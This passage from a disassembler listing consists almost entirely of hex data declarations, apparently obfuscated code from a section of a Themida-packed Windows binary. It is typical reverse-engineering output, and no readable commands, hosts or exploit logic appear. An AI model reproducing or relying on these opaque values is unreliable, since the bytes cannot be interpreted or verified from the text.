		dd 0A527F096h, 6051909Fh, 6EED9EB8h, 13E919h, 51190000h
		dd 5C736670h, 80DC81A8h, 0BF329011h, 0EB9372Ah,	505F6134h
		dd 0CE850h, 1F200000h, 0C295F1B6h, 4AFBE19Ah, 5F5B560Fh
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
dword_595A04	dd 1A04h, 0C3554500h, 6DED502Ah, 8B6BBB77h, 1218F1BDh
					; DATA XREF: Themida_:0055D1C7o
		dd 6A006A06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 45C5C353h, 6AACB3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EC35545h, 95FFCA81h
		dd 6120DB5h, 2F9DBD01h,	8D8D0612h, 615AF02h, 19810Fh, 0DE80000h
		dd 0BF000000h, 8951F090h, 15FD2326h, 263377D5h,	1BA5BD8Bh
		dd 0FF5B0612h, 56006AD1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 81CD2D42h, 902AB9EBh
		dd 0BB1BB6Eh, 0BD8344A3h, 61207ADh, 89850F01h, 89000000h
		dd 1206B58Dh, 6A026A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 1644C357h, 9810007Eh
		dd 840F90EFh, 8, 820F56h, 5B000000h, 217BBB50h,	0E8901489h
		dd 0Bh,	5F6C5A77h, 0EE552D1Ah, 0FA7F371h, 68Bh,	0D8D8900h
		dd 5F061223h, 6A595FFh,	6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 1E8B41C3h, 0B509A258h
		dd 61213ADh, 0C47E9h, 0E800h, 815D0000h, 16F140EDh, 25BD8906h
		dd 6A06120Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0F99C350h, 800FFFB7h, 6, 1C999529h
		dd 858D0612h, 6159437h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 9FC35141h, 0D78166F2h, 0B5897899h, 6122B19h
		dd 5F7228BBh, 890F9015h, 7, 0CF8B6660h,	5061D38Ah, 36FABB60h
		dd 820F2C7Eh, 0
		dd 6A9061h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 3D341DC3h, 35FF64C5h, 0
		dd 6E9h, 75BEEC00h, 643880EDh, 2589h, 85FF0000h, 6120679h
		dd 6AF98B66h, 0F2F4BBFFh, 0B5FF3457h, 6122C81h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0A7C35040h, 0BB5D24B3h
		dd 398A0692h, 2CB595FFh, 21E90612h, 0E8000001h,	0Bh, 282F08F8h
		dd 0B8322B28h, 0E95E2DADh, 0Bh,	518D3B80h, 0D74FA99Ch
		dd 5F3053C6h, 0FB8B00B0h, 0E4F970E6h, 0A5BD8B71h, 3C061219h
		dd 0E9830F61h, 8B000000h, 122BD9BDh, 0C8B60F06h, 8F1ECB81h
		dd 6BA3B82h, 9000000h, 121AE185h, 8BC18B06h, 121161BDh
		dd 4E8C106h, 0FE2F766h,	28Dh, 2BDF8B00h, 10E9C8h, 0BD8C0000h
		dd 0E51A27FFh, 7112863Ch, 112B5DCFh, 0D18B5929h, 0E9FAB70Fh
		dd 98h,	9E9h, 0BA36A700h, 5D606440h, 0BD036306h, 6120E59h
		dd 4858Bh, 0CE90000h, 63000000h, 3BAF3A65h, 55AD6B2h, 83DA4456h
		dd 8B6607C0h, 0C083D9h,	1525BD29h, 0BD030612h, 6122C59h
		dd 830FD03Bh, 1Ch, 6E8h, 89CB8300h, 296ABCE8h, 120CADBDh
		dd 39E95B06h, 0BB000000h, 43FF9002h, 0FFFF8D8Bh, 0B531FFFFh
		dd 6122BF5h, 0F01E183h,	1F84h, 83DF8B00h, 0FFFFFFA5h, 0BD89FEFFh
		dd 61210B1h, 49589h, 81660000h,	0E9A86FEFh, 0
		dd 691FB58Dh, 8B660616h, 80006ADFh, 95FFA7E3h, 61219CDh
		dd 6800F60h, 29000000h,	121DC58Dh, 8B666006h, 9E9D6h, 2C4D0000h
		dd 14C7C790h, 61C14248h, 1008B961h, 9E90000h, 91000000h
		dd 0E4F8928Eh, 0BD03D24Ah, 6AFCE183h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 9925C356h
		dd 9D0B55F8h, 8CAD1167h, 9BDB8166h, 0D5BD8B2Fh,	0FC061222h
		dd 0B8FAB70Fh, 0
aAub		db '€ãbº',0
		align 4
aS_7		db 'è',9,0
		align 4
		dd 0B7CBF00h, 0B82C153Ah, 8E81097h, 47000000h, 63FC1642h
		dd 890EEEA8h, 120E9185h, 0AD5F5B06h, 0E8D1C233h, 0E983D003h
		dd 1F47504h, 1210E1B5h,	68E0F06h, 29000000h, 121D7D95h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0A436C9B9h, 81D5DE1h, 880D5Ah, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 9B76FEC3h, 6D8D89h, 958B0612h, 61209A1h, 0CE86CF81h
		dd 8D8B0F28h, 6120505h,	1BA59D8Bh, 8B500612h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0F5C35343h,	2EDA9009h, 2BEBD2A2h
		dd 6DBF6697h, 21BD83E9h, 61221h, 7C840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0B8F101C3h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0FDC35343h
		dd 0AD4C44F0h, 8D8DFA8Bh, 6124DB5h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 19C35040h, 88DC0969h, 8589C9D2h
		dd 6122D7Dh, 0E1FFF88Ah, 17E19D89h, 0BD830612h,	6121BD9h
		dd 0BD840F00h, 6A000003h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0E67BC351h,	1BD9BD83h
		dd 0F010612h, 3AE84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 89344936h, 0D9BD8303h
		dd 306121Bh, 34B860Fh, 7E80000h, 0A5000000h, 823AC63Ch
		dd 0BD29C932h, 6121B09h, 6A605Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0D3F7EEC3h, 0FEB70F20h
		dd 0F98B6653h, 0D98C665Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 53C35747h, 62011884h,	0E1809873h, 13E804h
		dd 69E20000h, 0EC1CFFACh, 0F2BF4A0Bh, 0A7CE44BAh, 4458E050h
		dd 99B58974h, 5F061208h, 840FC90Ah, 11Ah, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 0AEC35747h, 5BD61584h
		dd 51394387h, 0CDBD8B90h, 8B061209h, 12308D85h,	0BDBB6606h
		dd 6585332Bh, 6A061231h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 6029C357h, 73BF6628h
		dd 0DBB70FFDh, 0E9606090h, 9, 573D7E7Dh, 2BAC35D6h, 61C18B86h
		dd 0BE9h, 800E8D00h, 8FF74A53h,	4F56DE6Ah, 0DFBB5061h
		dd 9028DB19h, 8B006AFCh, 121EB59Dh, 4F6806h, 34811BA9h
		dd 0B603B024h, 53006A1Bh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 17CB314Eh, 0FB93D83Ch
		dd 237995FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 1D5FA5C3h, 0C5852982h, 89061203h
		dd 15C81285h, 74E38006h, 135E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 858B38ADh
		dd 615C80Ah, 0C7D9B70Fh, 1800h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 18BA9E7Fh
		dd 8C91A267h, 0DFBB5751h, 5F6848E1h, 0EB58B5Fh,	6A0615C8h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 4F76C351h, 7995095Ah, 8B061204h, 122AB985h
		dd 89DA8B06h, 0EF816606h, 0BD015763h, 6121D7Dh,	308D858Bh
		dd 81660612h, 669B0CCFh, 89BA86BFh, 6A0446h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0A5DD8EC3h
		dd 68488ADDh, 17359D8Bh, 66500612h, 3489D98Bh, 0FFC2B724h
		dd 15C80AB5h, 59852906h, 68061216h, 63A0B463h, 9C243481h
		dd 8B63BFB7h, 1230F1BDh, 12858D06h, 310615C8h, 1223C19Dh
		dd 48B35006h, 0FF240489h, 12237995h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0FE480086h
		dd 0F6D3610h, 6A61D9BFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 5AB6C355h, 0D985C765h
		dd 306121Bh, 0BB000000h, 5E427240h, 0C812BD83h,	0F000615h
		dd 5484h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0DD60E45Eh, 26A0F657h, 0C88160C4h
		dd 1787442Bh, 11E8h, 0BBB0CB00h, 0B90C6982h, 0E61DDB45h
		dd 47FA1FB4h, 615E4563h, 1D918589h, 21E90612h, 23000000h
		dd 120D89BDh, 0C305006h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 19C35747h, 44025A95h,	2E7C34D6h, 3258531h
		dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 8B3EE1C3h, 0D9BD83F8h, 306121Bh, 3AA850Fh
		dd 83F90000h, 15C812BDh, 840F0006h, 39Ch, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 0F8C35040h, 5B91AB57h
		dd 0FA2B5098h, 2D9509FBh, 0FF06120Eh, 15C812B5h, 79BD8B06h
		dd 0FF061217h, 121AA995h, 9DCB8106h, 8B1E8ACBh,	15C806B5h
		dd 0C7A7B306h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0E3813900h, 0B5956DEh
		dd 50DE8B66h, 0DE8h, 6C07EC00h,	1C5CA77Ah, 7189829Bh, 0B9BF9C94h
		dd 5F71ECABh, 66243489h, 0B5FFFA8Bh, 615C812h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 6BC35343h, 95FFED97h
		dd 6121C05h, 2658D781h,	9D8B014Bh, 6122F69h, 0C806B58Bh
		dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 36F8A4C3h, 0A5858B85h, 6A061201h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 8D9C352h, 23DE43F6h,	1221919Dh, 0C4868906h, 33000000h
		dd 12096D9Dh, 0A1958B06h, 6A061209h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89B2C352h
		dd 1210E1B5h, 4C28306h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0EBC35242h, 0EC75106h, 0BDBD8B7Ah, 0E806121Fh
		dd 0Ah,	0EAF33E03h, 0F2CBB6E9h,	0BB6690EEh, 895B2DC3h
		dd 8DF82050h, 15DC6F85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 395BE0C9h, 20519D33h
		dd 9D890612h, 6120985h,	0B88689h, 0D3810000h, 18A0167Eh
		dd 860F006Ah, 5, 71C545BBh, 12B5FF19h, 8B0615C8h, 12311D9Dh
		dd 0A595FF06h, 6A061206h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 2EDEC352h, 96FBB2DEh
		dd 0D88B6650h, 0EE85396h, 0AB000000h, 6FCEFC93h, 2B6ECD77h
		dd 105DF2C8h, 12E81Fh, 0CF640000h, 9CBEB596h, 322A20ACh
		dd 0E7A33AA1h, 6D25F34h, 0B35B5F5Fh, 12B5FF4Eh,	0E90615C8h
		dd 5, 0B557A2A5h, 8195FFC5h, 6A061202h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 4895C353h
		dd 5030FCFDh, 2A09BD83h, 0F000612h, 2A84h, 0DEB70F00h
		dd 85BF6696h, 890F50E5h, 15h, 10E9h, 79C1B700h,	0F4DA1608h
		dd 4D590CAh, 0E8F3A478h, 24BB9676h, 0FF393F76h,	15C812B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0B8799179h, 0AD82975Ah, 9595897Fh, 0FF061202h
		dd 1218C195h, 718D0106h, 0FF061218h, 15C812B5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0B6FB6DE9h, 5B4B4C5h, 31559589h, 810F0612h, 5, 9539A3BBh
		dd 0A195FF49h, 0E906121Bh, 8, 55E08388h, 1280C743h, 3759D03h
		dd 0BD830612h, 6121EB1h, 1D840F02h, 0B000000h, 1219D5BDh
		dd 0A5858B06h, 80061203h, 9D8B74F7h, 6121AF1h, 500000C6h
		dd 5BDAB70Fh, 1B5985C7h, 612h, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 6130F3C3h
		dd 0BD296567h, 6120975h, 0FFF4A6E9h, 52006AFFh,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0C18B072Eh
		dd 2E01858Dh, 66900612h, 504F77BFh, 0F0E6BF66h,	56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 253057F7h, 6A26D940h, 745BB00h, 6A1641h, 8E9h, 64136900h
		dd 4A583615h, 43858DCEh, 520616FFh, 3958529h, 835B0612h
		dd 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 9FE8D2C3h, 0D34FBBDFh, 0FE8167Fh,	49000000h
		dd 0CFB63500h, 0A94B748h, 2317184Ah, 295297BCh,	122AD18Dh
		dd 505F5B06h, 489D98Bh,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0BDCBE780h, 6AFD3894h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 6929C187h, 39BB2079h, 8B2BE17Fh,	122259BDh
		dd 6A006A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 424BC355h, 0B595FFF5h,	0E906120Dh
		dd 0Bh,	0CFC9B029h, 2E7F4525h, 8D4153ADh, 15AF028Dh, 0FE8B6606h
		dd 6AD1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 92C93DC3h, 9D8B34F9h, 61229D1h, 7ADBD83h
		dd 0F010612h, 5C85h, 35BD8B00h,	6A061205h, 8B666002h, 61DA8BC7h
		dd 0F88B6650h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 991DC356h, 0A595FF40h
		dd 6A061206h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 89D7C355h, 122CB9BDh, 0C88E906h
		dd 0E80000h, 5D000000h,	0FF4DED81h, 6A0616h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 837EEBC3h
		dd 0F977EB7Eh, 33BB66E7h, 68BB6637h, 25958912h,	3306120Ah
		dd 121F719Dh, 699D8B06h, 8D061206h, 15943785h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 6DBFEBA6h, 0EE8D8641h, 0BB665690h, 505B24A6h, 8E0F5250h
		dd 2, 310FDF8Bh, 10E9h,	2E94FB00h, 6855AF74h, 3B60D229h
		dd 3DC3AC2Dh, 90585A8Ah, 35FF64h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0A675C357h, 0FFD74EB5h, 8E9BE51h, 0B2000000h, 183F79Eh
		dd 640D59DBh, 2589h, 0EF810000h, 225D9F71h, 7985FFF8h
		dd 6A061206h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 112AC356h, 0D79BAF1Ah,	0FF6AA0B3h
		dd 30CD9D8Bh, 0B5FF0612h, 6122381h, 34FD8589h, 0B5890612h
		dd 6122AE1h, 2CB595FFh,	0FAE90612h, 8B000000h, 1226C59Dh
		dd 8B00B006h, 121E29BDh, 6670E606h, 0E451C5BFh,	3C47B371h
		dd 0DA830F61h, 81000000h, 8A12D1C7h, 0C8B60F4Fh, 1BC9BD29h
		dd 0DB800612h, 6BA6Bh, 8B660000h, 0FC18BF8h, 8166FFBFh
		dd 0C1E595EBh, 0FE904E8h, 0C9000000h, 0A06FA101h, 0FF003319h
		dd 4754CB00h, 0F766002Dh, 2BF88BE2h, 0B9BD29C8h, 6006120Ch
		dd 20BD8589h, 61F90612h, 0B589D18Bh, 6121441h, 7CE9h, 39950900h
		dd 8B061204h, 4C4C4485h, 7C0835Fh, 1D219D03h, 0C0830612h
		dd 0D5BF6600h, 0FD03B6Dh, 0D83h, 299D8B00h, 0E9061210h
		dd 4Dh,	8D8BDE8Bh, 0FFFFFFFFh, 0D959D8Bh, 0BB660612h, 0E1836D07h
		dd 32840F01h, 31000000h, 12076185h, 0FFA58306h,	0FEFFFFFFh
		dd 0FE9h, 54517500h, 0D47DBAC5h, 1A0F5E53h, 3C38EDBDh
		dd 4C449589h, 0BD335F4Ch, 61217A1h, 0E9h, 27B58D00h, 6A061679h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 89A5C351h, 6890F60h, 9000000h, 122C7985h
		dd 59BD8B06h, 61061204h, 2E39DF81h, 6A376Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E5C35242h, 95FF2A70h
		dd 61219CDh, 0B983CF80h, 0FF1h,	152DBD8Bh, 0E1830612h
		dd 0B5BD03FCh, 0FC061200h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 10C35343h, 810055F7h,	3445EEC7h, 0B80Bh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0BAFAEDC3h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0D3C35343h
		dd 14E92247h, 9E000000h, 3F8876Ah, 76DAC823h, 0DFB8A45Fh
		dd 57BD7484h, 0AD096656h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 6697C356h, 0A1B589F8h, 0D061221h,	88h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0FBC35646h, 6837539Bh
		dd 0F74023FBh, 9A1958Bh, 8D8B0612h, 6120505h, 3C5BD8Bh
		dd 8B500612h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 5BC35141h
		dd 9474DD97h, 10119D8Bh, 9D030612h, 6121F59h, 0F88B6653h
		dd 21BD835Fh, 61221h, 6D840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0E5B5F7C3h
		dd 7E81A0Dh, 0B6000000h, 1930BB0Eh, 5F56CCA3h, 0B85Fh
		dd 8E90000h, 2B000000h,	809A7BEFh, 8DDCC96Fh, 124DB58Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 7985312Fh, 0FF06121Bh, 8323B7E1h, 121BD9BDh
		dd 840F0006h, 40Ah, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 38C35747h, 0BD8308FFh, 6121BD9h, 0FA840F01h
		dd 29000003h, 120065BDh, 0D9BD8306h, 306121Bh, 3B1860Fh
		dd 0E8F80000h, 11h, 99255B1Ch, 9D0B55F8h, 8CAD1167h, 0BC494ECFh
		dd 0CF8166F5h, 605B271Dh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 6CC35040h, 43AA2A48h,	21AB4772h, 663FB727h
		dd 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 7FB844C3h, 0BD8BB8FBh, 61203E9h, 6A04E180h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0BFD2C353h, 21772E44h, 840FC90Ah,	12Fh, 0CFA3BB66h
		dd 308D858Bh, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0B80A32C3h, 2C7A4B55h, 8B5EB497h
		dd 658533D9h, 0E8061231h, 14h, 0F947B0E7h, 0C2565B97h
		dd 0C79C471Dh, 0EC815893h, 1E1A263Eh, 261BD89h,	505B0612h
		dd 489D98Bh, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 9276575Dh, 70F458B0h, 0DA8BC883h
		dd 0DFB7006Ah, 2A582068h, 0D98B66AEh, 0DF240481h, 6051F4ABh
		dd 20158D01h, 0B8660612h, 0FF613047h, 12237995h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 3AD4DEF8h, 66D3E718h, 9D89FE8Bh, 612140Dh, 0C8128589h
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0D24B8DC3h, 9DA395Ah, 122F3185h, 95BD3306h
		dd 0E9061217h, 185h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 67C35747h, 11BD898Dh,	8B061218h, 15C80A85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 2AB86936h, 0E652F57Ah, 0E9FE8B33h, 0Bh
		dd 0FA96CACAh, 0D35825B8h, 0C7C14493h, 1800h, 85BD2300h
		dd 8B061201h, 15C80EB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0DA8634D0h, 8B32EE44h
		dd 122AB985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 619C8937h, 0BBAB919Bh, 0A59D8BFFh
		dd 89061207h, 0DBBF0F06h, 308D858Bh, 35BF0612h,	893C7391h
		dd 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 493202C3h, 0E850AD68h, 6,	9791EFA1h, 3CBF6183h
		dd 5F70884Eh, 0FF243489h, 15C80AB5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 5D9D29DDh
		dd 68061206h, 100AB1FCh, 0F88B6651h, 2434815Bh,	1015B203h
		dd 0BE9h, 54897F00h, 448B77BDh,	7BA8E6F9h, 0C812858Dh
		dd 0DB800615h, 77BF50CFh, 891FB167h, 95892404h,	6122F89h
		dd 237995FFh, 0EE90612h, 0DF000000h, 0F6C2992Fh, 0CCDD5F65h
		dd 0EC2B2286h, 6A6128h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 4EE157C3h, 85C7A54Bh, 6121BD9h
		dd 3, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h, 18h
		dd 0E0C35646h, 0F4819096h, 0C812BD83h, 0F000615h, 2E84h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 5B3C8876h, 9092EB81h, 1FE93418h,	66000000h
		dd 508430BBh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 8D89E6C3h, 6122629h, 8BF38B60h
		dd 1201B99Dh, 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 609D1AC3h, 0B87F7F1Ch, 0DE9F0h
		dd 0DDF20000h, 7AB50A61h, 0DD303F76h, 83AEC827h, 121BD9BDh
		dd 850F0306h, 351h, 2498D89h, 0BD830612h, 615C812h, 3E840F00h
		dd 0E8000003h, 0Bh, 0E05C2BF2h,	0A6DBD8F4h, 3663103h, 120D5D9Dh
		dd 0B70F5F06h, 12B5FFDEh, 890615C8h, 12107585h,	0A995FF06h
		dd 0F06121Ah, 28Bh, 8B99B300h, 15C806B5h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0BB31C625h, 66579044h, 6860Fh, 95010000h, 6121819h
		dd 106C7h, 890F0001h, 6, 0E12AEF81h, 505011D7h,	61605352h
		dd 5A310F5Bh, 24348958h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 9CC35141h, 5F4BB8C0h,	8B66BAA3h, 11E9DAh
		dd 80D40000h, 0C88E6D9h, 2D39E78Eh, 352D7A32h, 0FFAC71B1h
		dd 15C812B5h, 9E96006h,	6F000000h, 8362F16Dh, 328CFA42h
		dd 61CA8B66h, 1C0595FFh, 0B9BF0612h, 8B50B601h,	15C806B5h
		dd 0FDBD8B06h, 8B06121Eh, 1201A585h, 99D8906h, 89061224h
		dd 0C486h, 0A1958B00h, 83061209h, 9D3104C2h, 6121E45h
		dd 66205089h, 8D8680BBh, 15DC6F85h, 6DD78106h, 8946759Dh
		dd 0B886h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 6A5CBDh, 0FE9h, 14236F00h, 607F6E4h
		dd 0DA4A5C35h, 0DA178970h, 2F4DB589h, 0B5FF0612h, 615C812h
		dd 31BB6651h, 0B70F5F19h, 0A595FFF9h, 89061206h, 1229D195h
		dd 0BB669606h, 0E950245Ah, 9, 0A14F9B2h, 4262D6CAh, 0BD8B96E3h
		dd 6121311h, 0C812B5FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 39DC68C3h, 6A52B1C4h
		dd 0BF526123h, 7F79E242h, 8195FF5Bh
		dd 6A061202h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 514CC357h, 0FE86Dh, 785D0000h
		dd 0D7764267h, 0B4792F7h, 0AAB65627h, 0C59D8BC7h, 5F061221h
		dd 2A09BD83h, 0F000612h, 1284h,	0C98D2900h, 5006122Dh
		dd 3489DF8Bh, 3DBD8B24h, 0FF061209h, 15C812B5h,	0F88B6606h
		dd 18C195FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 7AD82DC3h, 2730CBBh, 0DE8B6623h
		dd 0C812B5FFh, 85890615h, 612116Dh, 1BA195FFh, 6A0612h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 881676C3h, 2F9C2F5Ch, 83E1045Ch, 121EB1BDh, 840F0206h
		dd 68h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch
		dd 0EBC35141h, 0CBD242EBh, 4EB2637Eh, 3A5858Bh,	6A0612h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0DC31B9C3h, 3773DF81h, 0BF0F56CAh, 0F99D8BD8h, 0C6061214h
		dd 9E90000h, 5B000000h,	0BDD0718Dh, 0C9000D9Bh,	1B5985C7h
		dd 612h, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 1A0424h, 50400000h, 3BC80AC3h, 548529F5h, 0EE2B67BFh
		dd 0F4A8E942h, 6AFFFFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0C18B2CC3h, 30099D8Bh, 858D0612h
		dd 6122E01h, 50D8B70Fh,	128C0Fh, 0DE90000h, 0D3000000h
		dd 178EFCD3h, 34505B49h, 320B9406h, 8B240489h, 121CCDBDh
